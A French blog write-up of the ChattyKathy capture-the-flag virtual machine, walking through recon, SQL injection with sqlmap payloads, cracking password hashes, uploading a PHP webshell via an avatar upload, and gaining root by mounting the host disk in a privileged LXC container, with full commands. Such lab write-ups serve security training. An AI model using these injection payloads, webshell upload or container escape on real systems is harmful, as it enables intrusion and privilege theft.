Accueil Solution du CTF ChattyKathy de iamv1nc3nt
Post
Annuler

Solution du CTF ChattyKathy de iamv1nc3nt

Last one standing

Je termine cette série de CTF de iamv1nc3nt avec ce boot2root baptisé ChattyKathy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ sudo nmap -sCV -p- -T5 192.168.56.28 
[sudo] Mot de passe de root :  
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-11 09:39 CET 
Nmap scan report for 192.168.56.28 
Host is up (0.00053s latency). 
Not shown: 65533 closed tcp ports (reset) 
PORT   STATE SERVICE VERSION 
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) 
| ssh-hostkey:  
|   3072 57:75:67:f1:36:92:f6:26:ad:cf:57:10:0c:d9:20:f0 (RSA) 
|   256 dc:d6:9d:e2:d1:f5:42:81:ed:ef:78:28:b1:98:e3:26 (ECDSA) 
|_  256 ef:9f:62:aa:90:b1:3b:d7:aa:ca:db:d0:7d:7e:17:04 (ED25519) 
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu)) 
|_http-title: Apache2 Ubuntu Default Page: It works 
|_http-server-header: Apache/2.4.41 (Ubuntu) 
MAC Address: 08:00:27:F4:AA:5A (Oracle VirtualBox virtual NIC) 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

On a droit à la page par défaut d’Ubuntu, fouillons un peu avec Feroxbuster :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$ feroxbuster -u http://192.168.56.28/ -w /fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-files.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.56.28/
 🚀  Threads               │ 50
 📖  Wordlist              │ /fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-files.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.4.0
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200      375l      964w    10918c http://192.168.56.28/index.html
200        8l       23w      198c http://192.168.56.28/404.html
403        9l       28w      278c http://192.168.56.28/.htaccess
200        0l        0w        0c http://192.168.56.28/config.php
200      433l     1115w        0c http://192.168.56.28/index.php
200      375l      964w    10918c http://192.168.56.28/
403        9l       28w      278c http://192.168.56.28/.html
500       15l       25w      266c http://192.168.56.28/portal.php
403        9l       28w      278c http://192.168.56.28/.php
403        9l       28w      278c http://192.168.56.28/.htm
403        9l       28w      278c http://192.168.56.28/.htpasswds
403        9l       28w      278c http://192.168.56.28/.htgroup
403        9l       28w      278c http://192.168.56.28/wp-forum.phps
403        9l       28w      278c http://192.168.56.28/.htpasswd
403        9l       28w      278c http://192.168.56.28/.htaccess.bak
403        9l       28w      278c http://192.168.56.28/.htuser
403        9l       28w      278c http://192.168.56.28/.ht
403        9l       28w      278c http://192.168.56.28/.htc
403        9l       28w      278c http://192.168.56.28/.htaccess.old
403        9l       28w      278c http://192.168.56.28/.htacess
[####################] - 11s    37034/37034   0s      found:20      errors:0      
[####################] - 11s    37034/37034   3334/s  http://192.168.56.28/

La page qui retourne une erreur 500 retourne aussi du contenu mais rien d’intéressant. Le script doit être inclus depuis un autre fichier et utiliser des variables non définies d’où ce code d’erreur :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ curl -D- http://192.168.56.28/portal.php
HTTP/1.0 500 Internal Server Error
Date: Fri, 11 Feb 2022 08:42:42 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 266
Connection: close
Content-Type: text/html; charset=UTF-8

<style>
        #chat_convo{
                max-height: 65vh;
        }
        #chat_convo .direct-chat-messages{
                min-height: 250px;
                height: inherit;
        }
        #chat_convo .card-body {
                overflow: auto;
        }
</style>
<div class="container-fluid">
        <div class="row">
                <div class="col-lg-8 

En énumérant les dossiers je trouve quelques pistes :

1
2
3
4
5
6
7
8
9
10
301        9l       28w      316c http://192.168.56.28/plugins 
301        9l       28w      317c http://192.168.56.28/database 
301        9l       28w      316c http://192.168.56.28/uploads 
301        9l       28w      312c http://192.168.56.28/inc 
301        9l       28w      316c http://192.168.56.28/classes 
301        9l       28w      313c http://192.168.56.28/libs 
301        9l       28w      314c http://192.168.56.28/admin 
301        9l       28w      314c http://192.168.56.28/build 
301        9l       28w      313c http://192.168.56.28/dist 
403        9l       28w      278c http://192.168.56.28/server-status

Par exemple le dossier database contient deux fichiers SQL qui s’avèrent être identiques. On y trouve une instruction INSERT contenant un hash pour l’utilisateur admin.

Comme il s’agit d’un hash sans salt (type MD5 ou SHA), je profite de CrackStation pour obtenir immédiatement le mot de passe en clair : admin123.

En continuant mon exploration des dossiers je croise des références au nom d’hôte chattykathy comme /admin qui effectue une redirection par tag HTML meta vers http://chattykathy/admin/login.php ou encore le script /classes/Login.php qui contient le code suivant :

1
<h1>Access Denied</h1> <a href='http://chattykathy/'>Go Back.</a>

Je remarque aussi une référence à AdminLTE mais cette appli semble uniquement être composée de HTML et Javascript, ce qui laisse supposer que la partie PHP est à la charge de l’utilisateur (?) Dans tous les cas aucun exploit ne semble lié à cette application.

J’ajoute une entrée dans mon fichier /etc/hosts et je parviens à me connecter avec le compte admin et le mot de passe précédemment cassé.

L’appli web a des URLs de ce type :

1
http://chattykathy/admin/?page=responses/manage&id=12

Le paramètre page semble un bon candidat à une faille d’inclusion. C’est en partie vrai car si on préfixe la valeur par un ./ alors on obtient la même page. Toutefois le script semble ajouter à la fois préfixe et suffixe en .php ce qui fait que l’exploitation est plus que compliquée.

Il s’agit bien d’une inclusion et non d’un readfile() car si on passe par exemple ../classes/DBConnection (vu lors de l’exploration) on n’obtient aucun code PHP, tout semble interprété.

Maintenant il y a le paramètre id et lui semble vulnérable à une faille d’injection SQL. On s’en rend compte par exemple en lui passant la valeur 13-1 qui donne le même résultat que pour la valeur 12.

SQLmap valide cette découverte. Il faut lui donner le cookie pour qu’il passe l’authentification :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ python sqlmap.py --cookie="PHPSESSID=h46pcdnluucg56usr2jj5fgj4v" \
  -u "http://chattykathy/admin/?page=responses/manage&id=15" -p id --dbms mysql --risk 3 --level 5
--- snip ---

sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests: 
--- 
Parameter: id (GET) 
    Type: boolean-based blind 
    Title: AND boolean-based blind - WHERE or HAVING clause 
    Payload: page=responses/manage&id=15 AND 5115=5115 

    Type: time-based blind 
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) 
    Payload: page=responses/manage&id=15 AND (SELECT 1783 FROM (SELECT(SLEEP(5)))LKEm) 

    Type: UNION query 
    Title: Generic UNION query (NULL) - 3 columns 
    Payload: page=responses/manage&id=-3103 UNION ALL SELECT NULL,CONCAT(0x71627a7171,0x6b627a614357726e4a737a706a76424855557a634954654e5a4d57456f7163544f4d7a417571746a,0x717a7a7071),NULL-- - 
---
--- snip ---

En jouant avec les différentes options de SQLmap j’ai extrait les infos suivantes :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
current user: 'webuser@localhost'

available databases [5]: 
[*] chatbot_db 
[*] information_schema 
[*] mysql 
[*] performance_schema 
[*] sys

Database: chatbot_db 
[6 tables] 
+---------------+ 
| frequent_asks | 
| questions     | 
| responses     | 
| system_info   | 
| unanswered    | 
| users         | 
+---------------+

Database: chatbot_db 
Table: users 
[2 entries] 
+----+-------------------------------+----------+----------------------------------+----------------------------------+--------------+---------------------+---------------------+---------------------+ 
| id | avatar                        | username | lastname                         | password                         | firstname    | last_login          | date_added          | date_updated        | 
+----+-------------------------------+----------+----------------------------------+----------------------------------+--------------+---------------------+---------------------+---------------------+ 
| 1  | uploads/1620201300_avatar.png | <blank>  | 0192023a7bbd73250516f069df18b500 | admin                            | Adminstrator | Admin               | 2021-01-20 14:02:37 | 2021-05-05 15:55:28 | 
| 2  | <blank>                       | tommy    | <blank>                          | e532ae6f28f4c2be70b500d3d34724eb | tommy        | 2021-01-20 14:02:37 | 2021-01-20 14:02:37 | 2021-01-20 14:02:37 | 
+----+-------------------------------+----------+----------------------------------+----------------------------------+--------------+---------------------+---------------------+---------------------+

Le mot de passe de tommy se casse lui aussi sur CrackStation en password19. Ces identifiants ne permettent toutefois pas un accès SSH.

L’option –privileges de SQLmap indique que l’utilisateur courant dispose de permissions similaires à l’utilisateur root de MySQL avec par exemple la permission FILE. J’ai tenté d’exfiltrer des fichiers et de déposer une backdoor sur la VM mais rien n’a fonctionné.

Up!

La page /admin/?page=system_info permet l’upload de différentes images comme celle d’un logo ou des avatars pour un bot ou l’utilisateur courant. Je n’ai pas immédiatement réalisé que c’était faillible car le script semble fonctionner en deux étapes:

  • Lors de la sélection du fichier à uploader l’image apparaît bien dans la page mais l’affichage de son adresse donne une URL en data:// laissant supposer que le contenu est conservé directement en base
  • Si on valide le formulaire en base de page alors l’URL de l’image devient une URL classique avec un path dans /uploads

Tout ça c’est la magie noire de Javascript :p Il ne faut pas se laisser berner.

Quoiqu’il en soit j’obtiens mon webshell à l’adresse /uploads/1644576420_shell.php?cmd=id que j’upgrade via ReverseSSH en un beau terminal digne de ce nom.

J’en profite pour accéder aux identifiants dans /var/www/html/classes/DBConnection.php :

1
2
3
4
5
6
class DBConnection{ 

    private $host = '127.0.0.1'; 
    private $username = 'webuser'; 
    private $password = 'VJk2324GG'; 
    private $database = 'chatbot_db';

Mais ceux-ci ne m’apporteront aucun bénéfice car il y a bien un utilisateur tommy en local et je peux m’y connecter via su avec le mot de passe password19.

Cet utilisateur peut appeler lxc avec les privilèges de root :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
tommy@chattykathy:/var/www/html$ sudo -l 
[sudo] password for tommy:  
Matching Defaults entries for tommy on chattykathy: 
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin 

User tommy may run the following commands on chattykathy: 
    (ALL) /snap/bin/lxc 
tommy@chattykathy:/var/www/html$ cd 
tommy@chattykathy:~$ ls -al 
total 28 
drwx------ 4 tommy tommy 4096 Jan 25 15:33 . 
drwxr-xr-x 5 root  root  4096 Jan 25 17:38 .. 
drwxrwxr-x 3 tommy tommy 4096 Jan 25 15:33 .alpine 
lrwxrwxrwx 1 tommy tommy    9 Jan 25 15:28 .bash_history -> /dev/null 
-rw-r--r-- 1 tommy tommy  220 Jan 25 15:26 .bash_logout 
-rw-r--r-- 1 tommy tommy 3771 Jan 25 15:26 .bashrc 
-rw-r--r-- 1 tommy tommy  807 Jan 25 15:26 .profile 
drwx------ 3 tommy tommy 4096 Jan 25 15:33 snap

Je ne connais pas bien LXC mais c’est comme du Docker mis à part que certains éléments de langage changent :

1
2
3
4
5
6
7
8
9
10
11
12
13
tommy@chattykathy:~$ sudo /snap/bin/lxc image list 
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+ 
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          | 
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+ 
| myimage | cd73881adaac | no     | alpine v3.13 (20210218_01:39) | x86_64       | CONTAINER | 3.11MB | Jan 25, 2022 at 3:35pm (UTC) | 
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+

tommy@chattykathy:~$ sudo /snap/bin/lxc list 
+-------------+---------+----------------------+-----------------------------------------------+-----------+-----------+ 
|    NAME     |  STATE  |         IPV4         |                     IPV6                      |   TYPE    | SNAPSHOTS | 
+-------------+---------+----------------------+-----------------------------------------------+-----------+-----------+ 
| mycontainer | RUNNING | 10.23.181.147 (eth0) | fd42:3118:9576:fa6d:216:3eff:fe96:fade (eth0) | CONTAINER | 0         | 
+-------------+---------+----------------------+-----------------------------------------------+-----------+-----------+

Je suppose que l’exploitation est du même type à savoir monter la racine de l’hôte comme volume dans le container. En fouillant sur mon site je redécouvre que j’avais déjà exploité ça sur le CTF Aloha de Wizard Labs.

Il aura fallut seulement quelques essais pour trouver le bon shell à demander à l’image Alpine :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
tommy@chattykathy:~$ sudo /snap/bin/lxc init myimage devloop -c security.privileged=true 
Creating devloop 
tommy@chattykathy:~$ sudo /snap/bin/lxc config device add devloop mydevice disk source=/ path=/hostfs recursive=true             
Device mydevice added to devloop 
tommy@chattykathy:~$ sudo /snap/bin/lxc start devloop 
tommy@chattykathy:~$ sudo /snap/bin/lxc exec devloop bash 
tommy@chattykathy:~$ sudo /snap/bin/lxc exec devloop /bin/bash 
tommy@chattykathy:~$ sudo /snap/bin/lxc exec devloop sh 
~ # id 
uid=0(root) gid=0(root) 
~ # cd /hostfs 
/hostfs # ls 
bin         cdrom       etc         lib         lib64       lost+found  mnt         proc        run         snap        swap.img    tmp         var 
boot        dev         home        lib32       libx32      media       opt         root        sbin        srv         sys         usr 
/hostfs # cd root 
/hostfs/root # ls 
root.txt  snap 
/hostfs/root # cat root.txt 

  ______ _                            _    _           _            
 / _____) |          _   _           | |  / )     _   | |           
| /     | | _   ____| |_| |_ _   _   | | / / ____| |_ | | _  _   _  
| |     | || \ / _  |  _)  _) | | |  | |< < / _  |  _)| || \| | | | 
| \_____| | | ( ( | | |_| |_| |_| |  | | \ ( ( | | |__| | | | |_| | 
 \______)_| |_|\_||_|\___)___)__  |  |_|  \_)_||_|\___)_| |_|\__  | 
                            (____/                          (____/  
                                          _                         
 ___ ___                     _           | |   ___ ___              
(___|___)    ____ ___   ___ | |_  ____ _ | |  (___|___)             
 ___ ___    / ___) _ \ / _ \|  _)/ _  ) || |   ___ ___              
(___|___)  | |  | |_| | |_| | |_( (/ ( (_| |  (___|___)             
           |_|   \___/ \___/ \___)____)____|                        

3d0c316df8b1b3562b01f83154da9744

Published February 11 2022 at 13:32

Cet article est sous licence CC BY 4.0 par l'auteur.